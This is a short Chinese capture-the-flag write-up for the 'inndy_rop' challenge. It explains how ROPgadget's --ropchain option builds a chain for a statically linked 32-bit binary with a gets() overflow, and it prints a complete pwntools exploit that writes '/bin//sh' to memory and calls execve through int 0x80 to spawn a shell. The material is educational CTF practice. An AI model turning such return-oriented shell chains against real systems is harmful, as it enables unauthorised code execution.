inndy_rop

Posted 2021-03-08 bhxdn

　　头一次见这种题。。。

　　32位程序，开启了堆栈不可执行。

　　ida看一眼伪代码。main函数跟前有个函数，进去看一眼。

　　

　　就一个gets函数，干净利落。。。

　　可以进行溢出。听大佬们说，这种情况，就是特别ida看起来特复杂，就是静态编译的结果。静态编译就不会调用libc中的东西，所以我们也不存在泄露版本利用libc的函数了。

　　ROPgadget有一个功能，直接利用程序中的片段拼凑rop链。

ROPgadget --binary rop --ropchain

　　

 

　　直接替我们把exp都写好了。。。我们直接复制，加个偏移就好了。。。

　　记录一下，毕竟没见过。

　　贴一下完整的exp：

　　

 1 from pwn import *
 2 from struct import pack
 3 
 4 q = process(‘./rop‘)
 5 context.log_level = ‘debug‘
 6 
 7 def payload():
 8     p = ‘a‘*0xc + ‘bbbb‘
 9     p += pack(‘<I‘, 0x0806ecda) # pop edx ; ret
10     p += pack(‘<I‘, 0x080ea060) # @ .data
11     p += pack(‘<I‘, 0x080b8016) # pop eax ; ret
12     p += ‘/bin‘
13     p += pack(‘<I‘, 0x0805466b) # mov dword ptr [edx], eax ; ret
14     p += pack(‘<I‘, 0x0806ecda) # pop edx ; ret
15     p += pack(‘<I‘, 0x080ea064) # @ .data + 4
16     p += pack(‘<I‘, 0x080b8016) # pop eax ; ret
17     p += ‘//sh‘
18     p += pack(‘<I‘, 0x0805466b) # mov dword ptr [edx], eax ; ret
19     p += pack(‘<I‘, 0x0806ecda) # pop edx ; ret
20     p += pack(‘<I‘, 0x080ea068) # @ .data + 8
21     p += pack(‘<I‘, 0x080492d3) # xor eax, eax ; ret
22     p += pack(‘<I‘, 0x0805466b) # mov dword ptr [edx], eax ; ret
23     p += pack(‘<I‘, 0x080481c9) # pop ebx ; ret
24     p += pack(‘<I‘, 0x080ea060) # @ .data
25     p += pack(‘<I‘, 0x080de769) # pop ecx ; ret
26     p += pack(‘<I‘, 0x080ea068) # @ .data + 8
27     p += pack(‘<I‘, 0x0806ecda) # pop edx ; ret
28     p += pack(‘<I‘, 0x080ea068) # @ .data + 8
29     p += pack(‘<I‘, 0x080492d3) # xor eax, eax ; ret
30     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
31     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
32     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
33     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
34     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
35     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
36     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
37     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
38     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
39     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
40     p += pack(‘<I‘, 0x0807a66f) # inc eax ; ret
41     p += pack(‘<I‘, 0x0806c943) # int 0x80
42     return p
43 shell = payload()
44 q.sendline(shell)
45 q.interactive()